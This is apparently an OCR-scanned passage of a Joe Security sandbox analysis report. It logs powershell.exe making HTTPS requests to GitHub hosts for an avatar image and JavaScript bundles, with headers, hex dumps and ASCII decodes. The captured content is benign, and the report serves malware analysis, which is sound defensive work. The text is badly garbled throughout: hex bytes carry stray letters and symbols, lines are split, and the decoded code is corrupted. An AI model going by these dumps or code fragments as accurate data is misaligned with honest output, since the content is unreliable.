f5 bl 6d 7b 77 77 17 36 93 23 08 a2 6f 23 aa ¢9 91 c0 49 0d 05 e3 25 5¢ 80 24 10 12 03 55 90 64 33 29 5e 1c c7 2d 2f 2f
7f e3 1b df 40 23 82 7f 49 92 34 1c Oe 1b 8d 06 6e 31 c0 66 9e e7 c1 26 44 51 84 4e el 9e Oe cf f3 dO c1 el bb dO bf 70
dc 04 f7 43 0f 06 c5 42 0f 8d da 02 52 44 2e 18 30 ed 76 9b dc 2c 21 98 43 Oe 15 91 a9 64 5b 68 9a 9e 9b 9b bb 7b 7 ee
f5 eb d7 0d c3 30 4d 13 b1 21 8a e2 49 38 32 cc f8 8 {8

Data Ascii: _.C4A@$)bfy’Ahi$.g8@dr:$|acaaTV*>J("zh@!" m{ww6#0#1%\$Ud3)"-//@#14n1f&DQNpCBRD.0v,!Cd[h{
oM!I82

Data Raw: fe 7d 70 al 7a bd 1e 86 al e3 38 d0 Oe 40 le 01 d8 fO 37 e4 23 1c 53 63 42 68 9a 88 58 88 11 fd 7e 1f f7 77
20 ab 80 4a b9 ae 8b 3d 51 14 c5 b6 ed 66 b3 a9 aa aa a2 28 59 75 5 24 69 7f f5 ab 5f 0d 06 03 a8 7f d8 d3 34 4d cb e5
f2 d4 d4 14 7a 56 9e e7 2d cb da dd dd 5 3c 6f 79 79 19 87 €6 e3 e3 e3 8f 1e 3d a2 69 ba 58 2c 62 df dO b0 Of 87 43 b2
0f 78 0d 6e 97 19 86 91 a6 69 ad 56 3 3c 0f 9a 3b ce Ob c1 7c a0 55 a2 a9 1f Oe 87 e0 aa fO b7 61 18 80 3b a4 13 2e 26
el aa f6 4b 24 bc 75 eb 56 ad 56 23 f7 a7 18 86 99 9a 9a d2 34 ad d1 68 04 41 b0 bf bf df 6¢ 36 17 17 17 f3 f9 7c bb dd
c6 fd Oa dc 23 41 05 58 5a 5a 42 50 62 ad 60 ea b8 a5 44 f4 39 34 99 c4 a9 a2 28 a2 a5 82 92 55 a9 54 70 0f 22 4d 53 dc
5ac0 4d 6¢ 74 39 b5 5a 0d ¢7 64 b2 2c 77 3a 9d 52 a9 04

Data Ascii: }pz8@7#ScBhX~w J=Qf(Yu$i_4MzV-<oyy=iX,bCxniV<;|Ua;.&K$uVV#4hAl6|#AXZZBPb D94(UTp"MSZMIt9
Zd,w:R

Destination
Destination IP Process
Port

185.199.108.133 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /tensorflow?s=64&v=4 HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: avatars.githubusercontent.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 1618

Cache-Control: max-age=300

Content-Security-Policy: default-src ‘none’

Content-Type: image/png

ETag: "3f4835432176d9280063ca8c93e37f7c43a4788ef102195ab3aeaade0dd1dfb 7"
Last-Modified: Wed, 06 Mar 2019 16:23:58 GMT
Strict-Transport-Security: max-age=31557600
timing-allow-origin: https://github.com
X-Content-Type-Options: nosniff

X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

X-GitHub-Request-1d: 3AC2:D8DB:1F4896:21785A:624B97B9
Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Via: 1.1 varnish

X-Served-By: cache-mxp6949-MXP

X-Cache: HIT

X-Cache-Hits: 6

X-Timer: $1650460057.040967,VS0,VEO
Access-Control-Allow-Origin: *

X-Fastly-Request-ID: 38be9d9d716549d5e79ab7{3fe591a9069632660
Expires: Wed, 20 Apr 2022 13:12:37 GMT

Source-Age: 1338848

Vary: Authorization,Accept-Encoding

Data Raw: 89 50 4e 47 0d Oa 1a 0a 00 00 00 Od 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00
06 19 49 44 41 54 78 9c ec 9a 0b 50 54 d7 1d 87 3f 1e Ob 4a b0 38 80 05 27 19 a4 81 25 c0 4e dc 6a d4 40 6¢ 13 42 43
4c b1 36 1d b1 29 09 d2 56 09 12 4d 01 13 18 4a db 08 11 51 4a 05 53 99 44 b1 55 6a 81 11 33 43 42 93 16 6d c4 68 32
69 36 be 20 2a b2 ca 2e d0 4e 47 2b 3e 00 15 5d 71 17 al 03 96 56 61 41 ee ee bd 7b bb 64 bf 19 67 d6 7b ce f9 9f df 7e
b3 7b 38 {7 ec 75 46 26 7c 1f 60 b2 b9 d7 13 1e Of 05 8a 82 05 a4 9f 7a 8d c3 43 d7 be 5c cd al b5 cf 92 e6 al c0 55 de 7
412 e2 ea8c d3 ab 11 c4 5f 7e 83 96 fe 02 fa 75 99 €8 86 da 74 59 e8 fa 37 d2 df 9e 8b 3e 25 92 1f b9 da f0 73 69 93 a9
16 85 f2 b8 36 9d cf df 5e 44 95 8f 07 41 a3 f5 f3 9b 42 70 €9

Data Ascii: PNGIHDR@@iqIDATXPT?J8'%Nj@IBCL6)VMIQISDU3CBmMh2i6 *.NG+>]qVaA{dg{~{8uF&| zC\Ut
_~utY7>%si6"DABp
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kBytes

Timestam
P transferred

2022-04-20 13:07:37 UTC 1118

Session ID Source IP
18 192.168.2.4
. kBytes
Ti t
fmestamp transferred

2022-04-20 13:07:37 UTC 1118

2022-04-20 13:07:37 UTC 1124

2022-04-20 13:07:37 UTC 1124

2022-04-20 13:07:37 UTC 1126

2022-04-20 13:07:37 UTC 1127

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49773

Direction

ouT

Data

Data Raw: 38 04 c8 1d 40 6e 1c 02 e4 Oe 20 37 a2 Ob d8 a4 al d0 60 a2 53 ec ba 06 23 1d 9b Oe 50 20 76 5d d1 05 64
ec 63 63 70 09 41 55 8d 6¢ 06 51 7e 55 36 55 d5 f3 56 70 1e 41 19 35 14 8b 50 ef 1e 24 f9 0a 9c ef 6 ca 4b d5 ac 8e d9
49 c4 3f ba a8 b7 b4 8e fe 12 47 63 b6 10 f1 52 39 af 9f bf c6 55 71 53 de 41 d2 35 60 7f 1b 5 21 bf 65 5e f6 47 bc 7c c3
38 fe 27 4b 6e 18 69 cf fe Ob cb 55 bf e6 f1 fd 3a 1a a4 cc 28 f9 22 68 ea a3 af f0 33 76 3c 5c 8c b2 f4 08 eb 4d b7 31 8c
da f7 36 86 52 0d eb le ce 47 59 f8 31 7f 30 c9 f8 00 96 64 cc f4 e7 al ba 24 76 €9 32 69 1e ba a6 cb a2 b9 2e 99 ca b0
af f3 a0 bc e9 6¢ 48 64 00 el ff 7d 3d 83 30 b9 72 fc 3b 00 00 ff ff 53 ec be bb a0 93 94 f2 00 00 00 00 49 45 4e 44 ae 42
60 82

Data Ascii: 8@n 7" S#P v]dccpAUIQ~UBUVPASP$KI?GCRIUQSAS [e”G|8'KniU:("h3v<\M16RGY10d$v2i.IHd}=0r;SIENDB"

Destination IP DL WL Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Data

GET /assets/5329-98db7da29ah9.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 9350

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Wed, 30 Mar 2022 04:02:17 GMT

ETag: "8b88b5257a5bfc7calcceael8773e933"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 159202

X-Served-By: cache-iad-kjyo7100047-1AD, cache-mxp6937-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 2b8fca67214324ede40cfdd71b8169ceb2d77937

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 57 3d 4f 62 6a 65 63 74 2e 64 65 66
69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 63 3d 28 78 2c 46 29 3d 3e 57 28 78 2c 22 6e 61 6d 65 22 2c 7b 76 61
6c 75 65 3a 46 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6C 54 68 69 73 2e 77 65 62 7
061 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70
75 73 68 28 5b 5b 35 33 32 39 5d 2c 7b 37 35 33 32 39 3a 28 78 2c 46 2c 5f 29 3d 3e 7b 5f 2e 64 28 46 2c 7b 6e 4a 3a
28 29 3d 3e 68 7d 29 3b 63 6f 6e 73 74 20 49 3d 5b 22 53 75 6e 64 61 79 22 2c 22 4d 6f 6e 64 61 79 22 2¢ 22 54 75 65
7364 61 79 22 2c 22 57 65 64 6e 65 73 64 61 79 22 2c 22 54 68 75 72 73

Data Ascii: "use strict";(()=>{var W=0Object.defineProperty;var c=(x,F)=>W(x,"name" {value:F,configurable:!0});(globalThi
s.webpackChunk=globalThis.webpackChunk||[]).push([[5329],{75329:(x,F,_)=>{_.d(F,{nJ:()=>h});const I=["Sunday",
"Monday","Tuesday","Wednesday","Thurs

Data Raw: 6e 65 77 20 49 6e 74 6¢ 2e 44 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 28 76 6f 69 64 20 30 2c 72 29 2c¢ 65 7d
63 61 74 63 68 28 74 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6 63 65 6f 66 20 52 61 6€ 67 65 45 72 72 6f 72 29 29
746872 6f 77 20 74 7d 7d 7d 63 28 79 2c 22 6d 61 6b 65 46 6f 72 6d 61 74 74 65 72 22 29 3b 6¢ 65 74 20 62 3d 6e 75
6¢ 6¢ 3b 63 6f 6e 73 74 20 76 3d 79 28 7b 64 61 79 3a 22 6e 75 6d 65 72 69 63 22 2c 6d 6f 6e 74 68 3a 22 73 68 6f 72 74
22 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 55 28 29 7b 69 66 28 62 21 3d 3d 6e 75 6¢ 6¢ 29 72 65 74 75 72 6e 20 62 3b 63
6f 6e 73 74 20 72 3d 76 28 29 3b 72 65 74 75 72 6e 20 72 3f 28 62 3d 21 21 72 2e 66 6f 72 6d 61 74 28 6e 65 77 20 44
61 74 65 28 30 29 29 2e 6d 61 74 63 68 28 2f 5e 5¢ 64 2f 29 2¢ 62 29

Data Ascii: new Intl.DateTimeFormat(void 0,r),e}catch(t){if(!(t instanceof RangeError))throw t}}}c(y,"makeFormatter");let
b=null;const v=y({day:"numeric",month:"short"});function U(){if(b!==null)return b;const r=v();return r?(b=!!r.format(new
Date(0)).match(/A\d/),b)

Data Raw: 77 20 44 61 74 65 28 6d 29 29 7d 63 6f 6e 73 74 20 6f 3d 74 68 69 73 2e 67 65 74 46 6f 72 6d 61 74 74 65 64
54 69 74 6¢ 65 28 29 2c 69 3d 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6¢ 65 22 29 3b 65 21
3d 3d 22 74 69 74 6¢ 65 22 26 26 6f 26 26 28 21 69 7c 7c 69 3d 3d 3d 73 29 26 26 74 68 69 73 2e 73 65 74 41 74 74 72
69 62 75 74 65 28 22 74 69 74 6¢ 65 22 2c 6f 29 3b 63 6f 6e 73 74 20 75 3d 74 68 69 73 2e 67 65 74 46 6f 72 6d 61 74 74
65 64 44 61 74 65 28 29 3b 75 26 26 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 75 29 7d 67 65 74 20 64 61
74 652829 7b 72 65 74 75 72 6e 20 6b 2e 67 65 74 28 74 68 69 73 29 7d 67 65 74 46 6f 72 6d 61 74 74 65 64 54 69 74
6¢c 65 28 29 7b 63 6f 6e 73 74 20 65 3d 74 68 69 73 2e 64 61 74 65 3b

Data Ascii: w Date(m))}const o=this.getFormattedTitle(),i=this.getAttribute("title");e!=="title"&&0&&(li|[i===s)&&this.s
etAttribute("title”,0);const u=this.getFormattedDate();u&&(this.textContent=u)}get date(){return k.get(this)}getFormatte
dTitle(){const e=this.date;
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Session ID Source IP
19 192.168.2.4
. kBytes
Tim m|
estamp transferred

2022-04-20 13:07:37 UTC 1118

2022-04-20 13:07:37 UTC 1133

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49774

Direction

ouT

Data

Data Raw: 74 65 22 29 3b 28 73 3d 3d 3d 22 6e 75 6d 65 72 69 63 22 7c 7c 73 3d 3d 3d 22 32 2d 64 69 67 69 74 22 29
26 26 28 74 2e 6d 69 6e 75 74 65 3d 73 29 3b 63 6f 6e 73 74 20 6f 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22
73 65 63 6f 6e 64 22 29 3b 28 6f 3d 3d 3d 22 6e 75 6d 65 72 69 63 22 7c 7c 6f 3d 3d 3d 22 32 2d 64 69 67 69 74 22 29 26
26 28 74 2e 73 65 63 6f 6e 64 3d 6f 29 3b 63 6f 6e 73 74 20 69 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 6
9 6d 65 2d 7a 6f 6e 65 2d 6e 61 6d 65 22 29 3b 69 66 28 28 69 3d 3d 3d 22 73 68 6f 72 74 22 7c 7c 69 3d 3d 3d 22 6c 6f
6e 67 22 29 26 26 28 74 2e 74 69 6d 65 5a 6f 6e 65 4e 61 6d 65 3d 69 29 2¢ 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29
2e 6¢ 65 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 3b 6¢ 65 74 20

Data Ascii: te");(s=== "2-digit")&&(t.minute=s);const o=r.getAttribute("second");(0==="numeric"||o==="2-di
git")&&(t.second=0);const i=r.getAttribute("time-zone-name");if((i==="short"||i==="long") &&(t.timeZoneName=i),Object.key
s(t).length===0)return;let

Data Raw: 63 61 6¢ 65 2c 2d 6e 2c 22 6d 69 6e 75 74 65 22 29 3a 6e 3c 34 35 3f 61 28 74 68 69 73 2e 6¢ 6f 63 61 6¢ 65
2c 2d 6e 2c 22 6d 69 6e 75 74 65 22 29 3a 6e 3c 39 30 3f 61 28 74 68 69 73 2e 6¢ 6 63 61 6¢ 65 2¢ 2d 73 2¢ 22 68 6f 75
722229 3a 73 3c 3234 3f61 28 74 68 69 73 2e 6¢ 6f 63 61 6¢ 65 2¢ 2d 73 2c 22 68 6 75 72 22 29 3a 73 3¢ 33 36 3f 61
2874 68 69 73 2e 6¢ 6f 63 61 6¢ 65 2c 2d 6f 2¢ 22 64 61 79 22 29 3a 6f 3¢ 33 30 3f 61 28 74 68 69 73 2e 6¢ 6f 63 61 6C
65 2c 2d 6f 2c 22 64 61 79 22 29 3a 69 3c 31 38 3f 61 28 74 68 69 73 2e 6¢ 6f 63 61 6¢ 65 2¢ 2d 69 2c 22 6d 6f 6e 74 68
2229 3a 61 28 74 68 69 73 2e 6¢ 6f 63 61 6¢ 65 2¢ 2d 75 2¢ 22 79 65 61 72 22 29 7d 6d 69 63 72 6f 54 69 6d 65 41 67 6f
2829 7b 63 6f 6e 73 74 20 65 3d 6e 65 77 20 44 61 74 65

Data Ascii: cale,-n,"minute"):n<45?a(this.locale,-n,"minute"):n<90?a(this.locale,-s,"hour"):s<24?a(this.locale,-s,"hour"
):s<36?a(this.locale,-0,"day"):0<30?a(this.locale,-0,"day"):i<187?a(this.locale,-i,"month"):a(this.locale,-u,"year")}micr
oTimeAgo(){const e=new Date

Data Raw: 2b 3d 7a 28 29 3f 22 2¢ 20 25 59 22 3a 22 20 25 59 22 29 2c 77 28 74 68 69 73 2e 64 61 74 65 2c 65 29 7d 66
6f 72 6d 61 74 54 69 6d 65 28 29 7b 63 6f 6e 73 74 20 65 3d 4f 28 29 3b 72 65 74 75 72 6e 20 65 3f 65 2e 66 6f 72 6d 61
7428746869 73 2e 64 61 74 65 29 3a 77 28 74 68 69 73 2e 64 61 74 65 2c 22 25 6¢ 3a 25 4d 25 50 22 29 7d 7d 63 28
64 2c 22 52 65 6¢ 61 74 69 76 65 54 69 6d 65 22 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 72 2¢ 65 2c 74 29 7b 63 6f 6e
7374 20 6e 3d 4a 28 72 2c 7b 6e 75 6d 65 72 69 63 3a 22 61 75 74 6f 22 7d 29 3b 72 65 74 75 72 6e 20 6e 3f 6e 2e 66 6
f72 6d 61 74 28 65 2c 74 29 3a 42 28 65 2c 74 29 7d 63 28 61 2c 22 66 6f 72 6d 61 74 52 65 6C 61 74 69 76 65 54 69 6d
65 22 29 3b 66 75 6e 63 74 69 6f 6 20 42 28 72 2c 65 29 7b 69 66

Data Ascii: +=z()?", %Y":" %Y"),w(this.date,e)}formatTime(){const e=O();return e?e.format(this.date):w(this.date,"%l:%M%
P")}}c(d,"RelativeTime");function a(r,e,t){const n=J(r,{numeric:"auto"});return n?n.format(e,t):B(e,t)}c(a,"formatRelati
veTime");function B(r,e){if

Data Raw: 63 74 65 64 43 61 6¢ 6¢ 62 61 63 6b 28 29 7d 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6¢ 6¢ 62 61 63 6b 28
29 7b 63 6f 6e 73 74 20 65 3d 66 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 29 3b 65 21 3d 3d 2d 31 26 26 66 2e 73 70 6¢
69 63 65 28 65 2c 31 29 2c 66 2e 6¢ 65 6e 67 74 68 7c 7c 54 26 26 28 63 6¢ 65 61 72 49 6e 74 65 72 76 61 6¢ 28 54 29
2c 54 3d 6e 75 6¢ 6¢ 29 7d 7d 63 28 68 2c 22 52 65 6¢ 61 74 69 76 65 54 69 6d 65 45 6¢ 65 6d 65 6e 74 22 29 3b 63 6f 6
e 73 74 20 66 3d 5b 5d 3b 6¢ 65 74 20 54 3b 66 75 6e 63 74 69 6f 6 20 59 28 29 7b 6¢ 65 74 20 72 2c 65 2¢ 74 3b 66 6f
72 28 65 3d 30 2c 74 3d 66 2e 6c 65 6e 67 74 68 3b 65 3c 74 3b 65 2b 2b 29 72 3d 66 5b 65 5d 2¢ 72 2e 74 65 78 74 43
6f 6e 74 65 6e 74 3d 72 2e 67 65 74 46 6 72 6d 61 74 74 65 64 44 61

Data Ascii: ctedCallback()}disconnectedCallback(){const e=f.indexOf{(this);e!==-1&&f.splice(e,1),f.length|| T&&(clearinter
val(T), T=null)}}c(h,"RelativeTimeElement");const f=[];let T;function Y (){let r,e,t;for(e=0,t=f.length;e<t;e++)r=f[e],r.t
extContent=r.getFormattedDa

Destinati
Destination IP estination Process

Port
185.199.108.154 443 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Data

GET /assets/2486-d89868d3ch25.js HTTP/1.1

Accept: */*

Accept-Language: en-US

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET
CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: github.githubassets.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Connection: close

Content-Length: 23800

Access-Control-Allow-Methods: GET

Access-Control-Max-Age: 3600

Cache-Control: public, max-age=31536000

Last-Modified: Wed, 06 Apr 2022 20:32:03 GMT

ETag: "28cd2eafcc3edb103af7ee7{113f6d38"

Content-Type: application/javascript

Server: AmazonS3

Via: 1.1 varnish, 1.1 varnish

Accept-Ranges: bytes

Date: Wed, 20 Apr 2022 13:07:37 GMT

Age: 1182662

X-Served-By: cache-iad-kiad7000099-1AD, cache-mxp6959-MXP
X-Cache: HIT, HIT

X-Cache-Hits: 1, 1

Vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
Access-Control-Allow-Origin: *

Strict-Transport-Security: max-age=31536000
X-Fastly-Request-ID: 90971581b63f87aac4c823b2aa2be9d3c64cffb7
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Copyright Joe Security LLC 2022

Data

Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 28 29 3d 3e 7b 76 61 72 20 78 3d 4f 62 6a 65 63 74 2e 64 65 66
69 6e 65 50 72 6f 70 65 72 74 79 3b 76 61 72 20 61 3d 28 79 2c 76 29 3d 3e 78 28 79 2c 22 6e 61 6d 65 22 2¢ 7b 76 61
6¢c 75 65 3a 76 2c 63 6f 6e 66 69 67 75 72 61 62 6¢ 65 3a 21 30 7d 29 3b 28 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 6562 7
061 63 6b 43 68 75 6e 6b 3d 67 6¢ 6f 62 61 6¢ 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70
75 73 68 28 5b 5b 32 34 38 36 5d 2¢ 7b 37 36 37 34 35 3a 28 79 2¢ 76 2¢ 77 29 3d 3e 7b 77 2e 64 28 76 2c 7b 5a 3a 28
29 3d 3e 74 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 69 29 7b 63 6f 6e 73 74 20 72 3d 64 6f 63 75 6d 65 6e 74 2e 63
72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 70 72 65 22 29 3b 72 65 74 75

Data Ascii: "use strict";(()=>{var x=Object.defineProperty;var a=(y,v)=>x(y,"name" ,{value:v,configurable:!0});(globalThi
s.webpackChunk=globalThis.webpackChunk||[]).push([[2486],{76745:(y,v,w)=>{w.d(v {Z:()=>t});function m(i){const
r=document.createElement("pre");retu

Data Raw: 69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6¢ 65 6d 65 6e 74 7c 7c 69 20 69 6e 73
74 61 6e 63 65 6f 66 20 48 54 4d 4¢c 54 65 78 74 41 72 65 61 45 6¢ 65 6d 65 6e 74 3f 62 28 69 2e 76 61 6¢ 75 65 29 3a
69 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 41 6e 63 68 6f 72 45 6¢ 65 6d 65 6e 74 26 26 69 2e 68 61 73 41 74
747269 62 75 74 65 28 22 68 72 65 66 22 29 3f 62 28 69 2e 68 72 65 66 29 3a 66 28 69 29 7d 61 28 75 2¢ 22 63 6f 70 7
954 617267 65 74 22 29 3b 66 75 6e 63 74 69 6f 6e 20 45 28 69 29 7b 63 6f 6e 73 74 20 72 3d 69 2e 63 75 72 72 65 6e
7454 61 7267 65 74 3b 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6¢ 65 6d 65 6e 74 26 26 64 28 72 29 7d
61 28 45 2c 22 63 6¢ 69 63 6b 65 64 22 29 3b 66 75 6e 63 74 69 6f 6

Data Ascii: i instanceof HTMLInputElement||i instanceof HTMLTextAreaElement?b(i.value):i instanceof HTMLAnchor
Element&&i.hasAttribute("href")?b(i.href):f(i)}a(u,"copyTarget");function E(i){const r=i.currentTarget;r instanceof HTML
Element&&d(r)}a(E,"clicked");function

Data Raw: 74 29 7b 74 26 26 65 3d 3d 3d 22 61 72 69 61 2d 6f 77 6e 73 22 26 26 66 28 74 68 69 73 2c 21 31 29 7d 63 6f
6e 6e 65 63 74 65 64 43 61 6¢ 6¢ 62 61 63 6b 28 29 7b 63 6f 6€ 73 74 20 65 3d 74 68 69 73 2e 69 6e 70 75 74 3b 21 65
7c 7c 28 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 75 74 6f 63 6f 6d 70 6¢ 65 74 65 22 2c 22 6f 66 66 22 29 2¢
65 2e 73 6574 41 74 74 72 69 62 75 74 65 28 22 73 70 65 6¢ 6¢ 63 68 65 63 6b 22 2¢ 22 66 61 6¢C 73 65 22 29 2C 65 2e
61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2¢ 74 68 69 73 2e 62 6f 75 6e 64 46 69 6¢ 74 6
57252657375 6¢c 74 73 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2¢
74 68 69 73 2e 62 6f 75 6e 64 46 69 6¢ 74 65 72 52 65 73 75 6¢ 74 73

Data Ascii: t){t&&e==="aria-owns"&&f(this,!1)}connectedCallback(){const e=this.input;!e||(e.setAttribute("autocomplete”,
"off"),e.setAttribute("spellcheck","false"),e.addEventListener(“focus",this.boundFilterResults),e.addEventListener("chan

ge" this.boundFilterResults

Data Raw: 22 29 2c 43 3d 21 21 6b 26 26 69 2e 6c 65 6e 67 74 68 3e 30 26 26 21 41 3b 6b 20 69 6e 73 74 61 6e 63 65 6f
66 20 48 54 4d 4c 45 6¢ 65 6d 65 6e 74 26 26 28 6b 2e 68 69 64 64 65 6e 3d 21 43 2c 43 26 26 75 28 6b 2¢ 69 29 29 2¢
452873 2c 67 3e 30 7c 7c 43 29 2c 6e 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45
76 65 6e 74 28 22 66 69 6¢ 74 65 72 2d 69 6e 70 75 74 2d 75 70 64 61 74 65 64 22 2c 7b 62 75 62 62 6¢ 65 73 3a 21 30
2c 64 65 74 61 69 6¢ 3a 7b 63 6f 75 6e 74 3a 67 2c 74 6f 74 61 6¢ 3a 68 7d 7d 29 29 7d 61 28 66 2C 22 66 69 6¢ 74 65
725265 73 75 6¢ 74 73 22 29 3b 66 75 6e 63 74 69 6f 6e 20 62 28 6e 2c 65 2¢ 74 29 7h 72 65 74 75 72 6e 7b 6d 61 74
63 68 3a 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78

Data Ascii: *),C=!lk&&i.length>0&&!A;k instanceof HTMLElement&&(k.hidden=!C,C&&u(k,i)),E(s,g>0||C),n.dispatchE
vent(new CustomEvent(“filter-input-updated”,{bubbles:!0,detail:{count:g,total:h}}))}a(f,"filterResults");function b(n,e,t)
{return{match:e.toLowerCase().index

Data Raw: 73 74 20 6e 3d 74 68 69 73 2e 69 6e 70 75 74 3b 69 66 28 21 6e 29 72 65 74 75 72 6e 3b 6e 2e 73 65 74 41
74747269 62 75 74 65 28 22 61 75 74 6f 63 6f 6d 70 6¢ 65 74 65 22 2c 22 6f 66 66 22 29 2c 6e 2e 73 65 74 41 74 74
7269 62 75 74 65 28 22 73 70 65 6¢ 6¢ 63 68 65 63 6b 22 2¢ 22 66 61 6C 73 65 22 29 3b 63 6f 62 73 74 20 65 3d 6d 2e 6
765 74 2874 68 69 73 29 3b 21 65 7c 7c 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73
22 2c 65 2e 66 65 74 63 68 29 2c 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2¢
65 2e 66 65 74 63 68 29 2c 6e 2e 61 64 64 45 76 65 6e 74 4¢ 69 73 74 65 6e 65 72 28 22 69 6e 70 75 74 22 2c 65 2e 6f
6e 69 6e 70 75 74 29 29 7d 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6C

Data Ascii: st n=this.input;if(!n)return;n.setAttribute("autocomplete”,"off"),n.setAttribute("spellcheck","false");const
e=m.get(this);!e||(n.addEventListener(“focus”,e.fetch),n.addEventListener(“change",e.fetch),n.addEventListener(“input”,
e.oninput))}disconnectedCal

Data Raw: 72 2e 73 69 67 6e 61 6¢ 2c 63 72 65 64 65 6e 74 69 61 6¢ 73 3a 22 73 61 6d 65 2d 6f 72 69 67 69 6e 22 2c 68
6561 64 65 72 73 3a 7b 61 63 63 65 70 74 3a 22 74 65 78 74 2f 66 72 61 67 6d 65 6e 74 2b 68 74 6d 6¢ 22 7d 7d 29 2c
67 3d 61 77 61 69 74 20 68 2e 74 65 78 74 28 29 2c 63 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 6¢ 6f 61
64 69 6e 67 22 29 2c 74 2e 63 6f 6e 74 72 6f 6¢ 6¢ 65 72 3d 6e 75 6¢ 6¢ 7d 63 61 74 63 68 28 41 29 7h 41 2e 6e 61 6d 6
521 3d 3d 22 41 62 6f 72 74 45 72 72 6f 72 22 26 26 28 63 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 6¢ 6f
61 64 69 6e 67 22 29 2c 74 2e 63 6f 6e 74 72 6f 6¢ 6¢ 65 72 3d 6e 75 6¢ 6¢ 29 3b 72 65 74 75 72 6e 7d 68 26 26 68 2e 6f
6b 3f 28 73 2e 69 6e 6e 65 72 48 54 4d 4c 3d 67 2c 63 2e 64 69 73

Data Ascii: r.signal,credentials:"same-origin“,headers:{accept:“text/fragment+html"}}),g=await h.text(),c.removeAttribut
e("loading”),t.controller=null}catch(A){A.name!=="AbortError'&&(c.removeAttribute("loading"),t.controller=null);returnth
&&h.ok?(s.innerHTML=g,c.dis

Data Raw: 69 73 74 22 5d 27 29 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 70 3d 6d 28 74 68 69 73 29 2c 63 3d 70 2e
